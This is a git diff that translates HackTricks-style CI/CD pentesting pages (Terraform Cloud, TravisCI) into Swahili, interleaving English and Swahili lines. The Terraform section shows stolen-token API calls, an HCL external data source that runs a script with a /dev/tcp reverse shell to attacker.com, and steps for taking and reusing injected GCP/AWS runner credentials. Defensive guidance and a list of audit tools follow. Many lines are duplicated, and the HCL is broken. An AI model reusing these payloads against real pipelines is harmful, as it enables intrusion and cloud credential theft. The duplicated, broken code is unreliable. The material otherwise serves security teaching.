- Token lazima iwe na ufikiaji kwa target organization/workspace na angalau ruhusa ya `plan`. VCS-backed workspaces zinazuia `apply` kutoka CLI, lakini bado zinaruhusu speculative plans.
- Gundua mipangilio ya workspace na VCS kupitia TFC API:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
- Sababisha utekelezaji wa msimbo wakati wa speculative plan kwa kutumia external data source na Terraform Cloud "cloud" block ili kulenga VCS-backed workspace:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
program = ["bash", "./rsync.sh"]
}
```
Example rsync.sh to obtain a reverse shell on the TFC runner:
Mfano rsync.sh ili kupata reverse shell kwenye TFC runner:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Run a speculative plan to execute the program on the ephemeral runner:
Endesha mpango wa majaribio ili kutekeleza programu kwenye runner wa muda mfupi:
```bash
terraform init
terraform plan
```
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
- Enumerate and exfiltrate injected cloud credentials kutoka kwenye runner. Wakati wa runs, TFC injects provider credentials via files na environment variables:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Expected files on the runner working directory:
Faili zinazotarajiwa kwenye saraka ya kazi ya runner:
- GCP:
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
- `tfc-gcp-token` (short-lived GCP access token)
- `tfc-google-application-credentials` (Workload Identity Federation usanidi wa JSON)
- `tfc-gcp-token` (token ya ufikiaji ya GCP ya muda mfupi)
- AWS:
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
- `tfc-aws-shared-config` (usanidi wa web identity/OIDC wa kuchukua role)
- `tfc-aws-token` (token ya muda mfupi; baadhi ya mashirika yanaweza kutumia funguo za kudumu)
- Use the short-lived credentials out-of-band to bypass VCS gates:
- Tumia vitambulisho vya muda mfupi out-of-band ili kuzunguka VCS gates:
GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
Kwa kredenshiali hizi, wamdukuzi wanaweza kuunda/badilisha/kuharibu rasilimali moja kwa moja kwa kutumia CLIs za asili, wakiepuka mitiririko ya kazi inayotegemea PR ambayo inazuia `apply` kupitia VCS.
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
- Defensive guidance:
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
- Mwongozo wa ulinzi:
- Tumia kanuni ya least privilege kwa watumiaji/teama za TFC na tokens. Kagua uanachama na epuka wamiliki wenye mamlaka kupita kiasi.
- Zuia ruhusa ya `plan` kwenye workspaces nyeti zinazotegemea VCS pale inapowezekana.
- Lazuimishe allowlists za provider/data source kwa sera za Sentinel ili kuzuia `data "external"` au providers zisizojulikana. Angalia HashiCorp guidance kuhusu provider filtering.
- Pendelea OIDC/WIF badala ya static cloud credentials; tazama runners kama nyeti. Monitor speculative plan runs na unexpected egress.
- Gundua exfiltration ya artifact za kredenshiali `tfc-*` na toa onyo juu ya matumizi ya program ya `external` yenye shaka wakati wa plans.
## Compromising Terraform Cloud
## Kuvuruga Terraform Cloud
### Using a token
### Kutumia token
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the tokens scope.
Using this token it's possible to get the org/workspace with:
Kama **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI inahifadhi tokens kwa plaintext katika **`~/.terraform.d/credentials.tfrc.json`**. Kuiba token hii kunaruhusu mdukuzi kujifanya mtumiaji ndani ya wigo wa token.
Kwa kutumia tokeni hii inawezekana kupata org/workspace na:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
Kisha inawezekana kuendesha msimbo wowote kwa kutumia **`terraform plan`** kama ilivyoelezwa katika sura iliyotangulia.
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
### Kutoroka kwa cloud
### Escaping to the cloud
Kisha, kama runner iko katika mazingira ya cloud, inawezekana kupata token ya principal iliyounganishwa na runner na kuitumia nje ya mzunguko.
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
- **GCP files (present in current run working directory)**
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
- `tfc-gcp-token` — shortlived (≈1 hour) GCP access token referenced by the above
- **GCP files (zipo katika saraka ya kazi ya run ya sasa)**
- `tfc-google-application-credentials` — JSON ya usanidi kwa Workload Identity Federation (WIF) inayomwambia Google jinsi ya kubadilishana utambulisho wa nje.
- `tfc-gcp-token` — GCP access token ya muda mfupi (≈1 hour) inayotajwa hapo juu
- **AWS files**
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
(preferred over static keys).
- `tfc-aws-token` — shortlived token, or potentially static IAM keys if misconfigured.
- `tfc-aws-shared-config` — JSON kwa web identity federation/OIDC role assumption (inayopendekezwa kuliko static keys).
- `tfc-aws-token` — token ya muda mfupi, au labda static IAM keys ikiwa zimepangwa vibaya.
## Automatic Audit Tools
## Zana za Ukaguzi Otomatiki
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
- **Features:**
- Real-time scanning for security vulnerabilities and compliance issues.
- Integration with version control systems (GitHub, GitLab, Bitbucket).
- Automated fix pull requests.
- Detailed remediation advice.
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
Snyk inatoa suluhisho kamili la ukaguzi wa Infrastructure as Code (IaC) linalotambua udhaifu na mipangilio isiyo sahihi katika Terraform, CloudFormation, Kubernetes, na fomati nyingine za IaC.
- **Vipengele:**
- Ukaguzi wa wakati halisi kwa ajili ya udhaifu wa usalama na masuala ya ufuataji.
- Uunganishaji na version control systems (GitHub, GitLab, Bitbucket).
- Automated fix pull requests.
- Ushauri wa kina wa kurekebisha.
- **Jisajili:** Unda akaunti kwenye [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
**Checkov** ni chombo cha uchambuzi wa nambari cha static kwa ajili ya infrastructure as code (IaC) na pia chombo cha software composition analysis (SCA) kwa images na vifurushi vya chanzo wazi.
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
Inachunguza miundombinu ya cloud iliyotengenezwa kwa kutumia [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), au [OpenTofu](https://opentofu.org/) na hutambua mipangilio mibaya ya usalama na uzingatiaji kwa kutumia uchunguzi unaotegemea grafu.
Hufanya [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchunguzi wa vifurushi vya chanzo wazi na images kwa Common Vulnerabilities and Exposures (CVEs).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
Kutoka kwenye [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ni fremu ya mtihani nyepesi iliyolengwa kwenye usalama na ufuataji wa viwango dhidi ya terraform ili kuwezesha uwezo wa upimaji hasi kwa infrastructure-as-code yako.
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** it validates your code before it is deployed
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
- **Uzingatiaji:** Hakikisha msimbo uliotekelezwa unafuata viwango vya usalama na viwango vyako vya desturi
- **Maendeleo yaliyoendeshwa na tabia:** Tuna BDD kwa karibu kila kitu, kwanini si kwa IaC ?
- **Inabebeka:** sakinisha tu kutoka `pip` au iendeshe kupitia `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
- **Kabla ya deployment:** inathibitisha msimbo wako kabla haujatekelezwa
- **Rahisi kuunganisha:** inaweza kuendeshwa katika pipeline yako (au katika git hooks) kuhakikisha deployments zote zinathibitishwa.
- **Ugawanyo wa majukumu:** unaweza kuweka majaribio yako katika repository tofauti ambapo timu tofauti itawajibika.
> [!NOTE]
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
> Kwa bahati mbaya ikiwa msimbo unatumia providers fulani ambazo huna ufikiaji wa hutaweza kufanya the `terraform plan` na kuendesha zana hii.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
- ⛔ Hundreds of built-in rules
- 🪆 Scans modules (local and remote)
- Evaluates HCL expressions as well as literal values
- ↪️ Evaluates Terraform functions e.g. `concat()`
- 🔗 Evaluates relationships between Terraform resources
- 🧰 Compatible with the Terraform CDK
- 🙅 Applies (and embellishes) user-defined Rego policies
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Configurable (via CLI flags and/or config file)
- ⚡ Very fast, capable of quickly scanning huge repositories
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec hutumia static analysis ya terraform code yako kubaini potential misconfigurations.
- ☁️ Hupima misconfigurations kwenye watoaji wote wakuu (na baadhi wadogo) wa cloud
- ⛔ Mamia ya kanuni zilizojengwa ndani
- 🪆 Inakagua modules (lokali na za mbali)
- Inatathmini HCL expressions pamoja na literal values
- ↪️ Inatathmini Terraform functions e.g. `concat()`
- 🔗 Inatathmini uhusiano kati ya Terraform resources
- 🧰 Inalingana na Terraform CDK
- 🙅 Inatumia (na kuboresha) sera za Rego zilizobainishwa na mtumiaji
- 📃 Inaunga mkono multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Inaweza kusanidiwa (kupitia CLI flags na/au config file)
- ⚡ Haraka sana, inaweza kukagua haraka hifadhi kubwa za miradi
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)
Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
- Seamlessly scan infrastructure as code for misconfigurations.
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
- Detect security vulnerabilities and compliance violations.
- Mitigate risks before provisioning cloud native infrastructure.
- Offers flexibility to run locally or integrate with your CI\CD.
Terrascan ni static code analyzer kwa Infrastructure as Code. Terrascan inakuwezesha:
- Skana bila mshono Infrastructure as Code kutafuta misconfigurations.
- Fuatilia provisioned cloud infrastructure kwa mabadiliko ya configuration yanayoweza kuleta posture drift, na kutoa uwezo wa kurudisha posture salama.
- Tambua security vulnerabilities na compliance violations.
- Punguza hatari kabla ya provisioning cloud native infrastructure.
- Inatoa kubadilika kuendesha locally au kuunganishwa na CI\CD yako.
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
Gundua udhaifu wa usalama, masuala ya utii, na misanidi potofu ya infrastructure-as-code mapema katika mzunguko wa maendeleo wa mradi wako kwa kutumia **KICS** ya Checkmarx.
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure; ni chanzo wazi na ni muhimu kwa mradi wowote wa cloud native.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
- Seamlessly scan infrastructure as code for misconfigurations.
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
- Detect security vulnerabilities and compliance violations.
- Mitigate risks before provisioning cloud native infrastructure.
- Offers flexibility to run locally or integrate with your CI\CD.
From the [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchambuzi wa msimbo tuli kwa ajili ya Infrastructure as Code. Terrascan inakuwezesha:
- Skana Infrastructure as Code kwa urahisi kutafuta mipangilio isiyo sahihi.
- Fuatilia miundombinu ya cloud iliyowekwa kwa mabadiliko ya usanidi yanayosababisha posture drift, na kuwezesha kurudi kwenye hali salama.
- Gundua udhaifu wa usalama na ukiukaji wa vigezo vya compliance.
- Punguza hatari kabla ya kutayarisha miundombinu ya cloud-native.
- Inatoa unyumbufu wa kuendesha lokali au kuungana na CI\CD yako.
```bash
brew install terrascan
```
## References
## Marejeo
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)

View File

@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
Github PRs zinakaribishwa zikielezea jinsi ya (kutumia vibaya) majukwaa hayo kutoka kwa mtazamo wa mshambuliaji
- Drone
- TeamCity
@@ -11,9 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
- Rancher
- Mesosphere
- Radicle
- Any other CI/CD platform...
- Jukwaa lolote lingine la CI/CD...
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,68 +1,65 @@
# TravisCI Security
# TravisCI Usalama
{{#include ../../banners/hacktricks-training.md}}
## What is TravisCI
## Nini maana ya TravisCI
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
**Travis CI** ni huduma ya **kuendelea kuunganisha** inayoweza kuwa **imehifadhiwa** au kwenye **premises** inayotumika kujenga na kujaribu miradi ya programu iliyohifadhiwa kwenye **jukwaa tofauti la git**.
{{#ref}}
basic-travisci-information.md
{{#endref}}
## Attacks
## Mashambulizi
### Triggers
### Vichocheo
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
Ili kuanzisha shambulizi, kwanza unahitaji kujua jinsi ya kuanzisha ujenzi. Kwa kawaida, TravisCI itafanya **kuanzisha ujenzi kwenye push na ombi la kuvuta**:
![](<../../images/image (145).png>)
#### Cron Jobs
#### Kazi za Cron
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
Ikiwa una ufikiaji wa programu ya wavuti, unaweza **kweka kazi za cron kuendesha ujenzi**, hii inaweza kuwa muhimu kwa kudumu au kuanzisha ujenzi:
![](<../../images/image (243).png>)
> [!NOTE]
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
> Inaonekana haiwezekani kuweka kazi za cron ndani ya `.travis.yml` kulingana na [hii](https://github.com/travis-ci/travis-ci/issues/9162).
### Third Party PR
### PR za Watu wa Tatu
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
TravisCI kwa kawaida inazima kushiriki mabadiliko ya mazingira na PR zinazotoka kwa watu wa tatu, lakini mtu anaweza kuziwezesha na kisha unaweza kuunda PR kwa repo na kuhamasisha siri:
![](<../../images/image (208).png>)
### Dumping Secrets
### Kutupa Siri
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
Kama ilivyoelezwa kwenye ukurasa wa [**taarifa za msingi**](basic-travisci-information.md), kuna aina 2 za siri. **Siri za Mabadiliko ya Mazingira** (ambazo ziko kwenye ukurasa wa wavuti) na **siri za siri zilizowekwa**, ambazo zimehifadhiwa ndani ya faili ya `.travis.yml` kama base64 (kumbuka kwamba zote zikiwa zimehifadhiwa kwa siri zitakuwa kama mabadiliko ya mazingira kwenye mashine za mwisho).
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
- Ili **kuhesabu siri** zilizowekwa kama **Mabadiliko ya Mazingira**, nenda kwenye **mipangilio** ya **mradi** na angalia orodha. Hata hivyo, kumbuka kwamba mabadiliko yote ya mazingira ya mradi yaliyowekwa hapa yataonekana unapofanya ujenzi.
- Ili kuhesabu **siri za siri zilizowekwa**, bora unachoweza kufanya ni **kuangalia faili ya `.travis.yml`**.
- Ili **kuhesabu faili za siri zilizowekwa**, unaweza kuangalia kwa **faili za `.enc`** kwenye repo, kwa mistari inayofanana na `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` kwenye faili ya usanidi, au kwa **iv na funguo zilizowekwa** katika **Mabadiliko ya Mazingira** kama:
![](<../../images/image (81).png>)
### TODO:
- Example build with reverse shell running on Windows/Mac/Linux
- Example build leaking the env base64 encoded in the logs
- Mfano wa ujenzi ukiwa na shell ya nyuma ikifanya kazi kwenye Windows/Mac/Linux
- Mfano wa ujenzi ukivuja mabadiliko ya mazingira yaliyowekwa kwa base64 kwenye kumbukumbu
### TravisCI Enterprise
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
Ikiwa mshambuliaji atakutana na mazingira yanayotumia **TravisCI enterprise** (maelezo zaidi kuhusu hii kwenye [**taarifa za msingi**](basic-travisci-information.md#travisci-enterprise)), atakuwa na uwezo wa **kuanzisha ujenzi kwenye Mfanyakazi.** Hii inamaanisha kwamba mshambuliaji ataweza kuhamasisha kwa upande wa server hiyo kutoka ambayo anaweza:
- escape to the host?
- compromise kubernetes?
- compromise other machines running in the same network?
- compromise new cloud credentials?
- kutoroka kwa mwenyeji?
- kuathiri kubernetes?
- kuathiri mashine nyingine zinazofanya kazi kwenye mtandao huo?
- kuathiri akreditivu mpya za wingu?
## References
## Marejeleo
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,48 +1,45 @@
# Basic TravisCI Information
# Msingi wa Taarifa za TravisCI
{{#include ../../banners/hacktricks-training.md}}
## Access
## Ufikiaji
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
TravisCI inaunganishwa moja kwa moja na majukwaa tofauti ya git kama Github, Bitbucket, Assembla, na Gitlab. Itamuuliza mtumiaji kutoa ruhusa kwa TravisCI kufikia repos anazotaka kuunganisha na TravisCI.
For example, in Github it will ask for the following permissions:
Kwa mfano, katika Github itahitaji ruhusa zifuatazo:
- `user:email` (read-only)
- `read:org` (read-only)
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
- `user:email` (kusoma tu)
- `read:org` (kusoma tu)
- `repo`: Inatoa ruhusa ya kusoma na kuandika kwa msimbo, hali za kujitolea, washirikishi, na hali za kutekeleza kwa hazina za umma na za kibinafsi na mashirika.
## Encrypted Secrets
## Siri Zilizofichwa
### Environment Variables
### Mabadiliko ya Mazingira
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
Katika TravisCI, kama katika majukwaa mengine ya CI, inawezekana **kuhifadhi siri kwenye kiwango cha repo** ambazo zitahifadhiwa kwa njia ya usimbaji na **kufichuliwa na kusukumwa katika mabadiliko ya mazingira** ya mashine inayotekeleza ujenzi.
![](<../../images/image (203).png>)
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
Inawezekana kuashiria **matawi ambayo siri zitapatikana** (kwa kawaida yote) na pia kama TravisCI **inapaswa kuficha thamani yake** ikiwa itaonekana **katika kumbukumbu** (kwa kawaida itafanya hivyo).
### Custom Encrypted Secrets
### Siri Zilizofichwa za Kijadi
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repositorys **public key available** to those who have **access** to the repository.
You can access the public key of one repo with:
Kwa **kila repo** TravisCI inazalisha **RSA keypair**, **inaweka** ile **binafsi**, na inafanya **funguo ya umma** ya hazina ipatikane kwa wale walio na **ufikiaji** wa hazina hiyo.
Unaweza kufikia funguo ya umma ya repo moja kwa:
```
travis pubkey -r <owner>/<repo_name>
travis pubkey -r carlospolop/t-ci-test
```
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
Kisha, unaweza kutumia mpangilio huu **kuandika siri na kuziweka kwenye `.travis.yaml`**. Siri zitakuwa **zimefichuliwa wakati ujenzi unapoendeshwa** na zinapatikana katika **mabadiliko ya mazingira**.
![](<../../images/image (139).png>)
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
Kumbuka kwamba siri zilizofichwa kwa njia hii hazitaonekana kwenye orodha ya mabadiliko ya mazingira ya mipangilio.
### Custom Encrypted Files
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
### Faili za Kificho za Kawaida
Kwa njia ile ile kama hapo awali, TravisCI pia inaruhusu **kuficha faili na kisha kuzifichua wakati wa ujenzi**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -52,7 +49,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -60,36 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
Kumbuka kwamba unapofanya usimbaji wa faili, Variables 2 za Env zitawekwa ndani ya repo kama:
![](<../../images/image (170).png>)
## TravisCI Enterprise
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the server version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
Travis CI Enterprise ni **toleo la ndani la Travis CI**, ambalo unaweza kupeleka **katika miundombinu yako**. Fikiria kuhusu toleo la 'server' la Travis CI. Kutumia Travis CI kunakuwezesha kuwezesha mfumo rahisi wa Kuunganisha Endelevu/Kupeleka Endelevu (CI/CD) katika mazingira, ambayo unaweza kuunda na kulinda kama unavyotaka.
**Travis CI Enterprise consists of two major parts:**
**Travis CI Enterprise ina sehemu mbili kuu:**
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
2. TCI **Worker** and build environment images (also called OS images).
1. TCI **huduma** (au TCI Core Services), zinazohusika na kuunganishwa na mifumo ya kudhibiti toleo, kuidhinisha ujenzi, kupanga kazi za ujenzi, nk.
2. TCI **Worker** na picha za mazingira ya ujenzi (pia huitwa picha za OS).
**TCI Core services require the following:**
**Huduma za TCI Core zinahitaji yafuatayo:**
1. A **PostgreSQL11** (or later) database.
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
1. Hifadhidata ya **PostgreSQL11** (au baadaye).
2. Miundombinu ya kupeleka kundi la Kubernetes; inaweza kupelekwa katika kundi la seva au katika mashine moja ikiwa inahitajika.
3. Kulingana na mipangilio yako, unaweza kutaka kupeleka na kuunda mipangilio ya baadhi ya vipengele mwenyewe, e.g., RabbitMQ - angalia [Kuweka Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) kwa maelezo zaidi.
**TCI Worker requires the following:**
**TCI Worker inahitaji yafuatayo:**
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
1. Miundombinu ambapo picha ya docker inayojumuisha **Worker na picha ya ujenzi iliyounganishwa inaweza kupelekwa**.
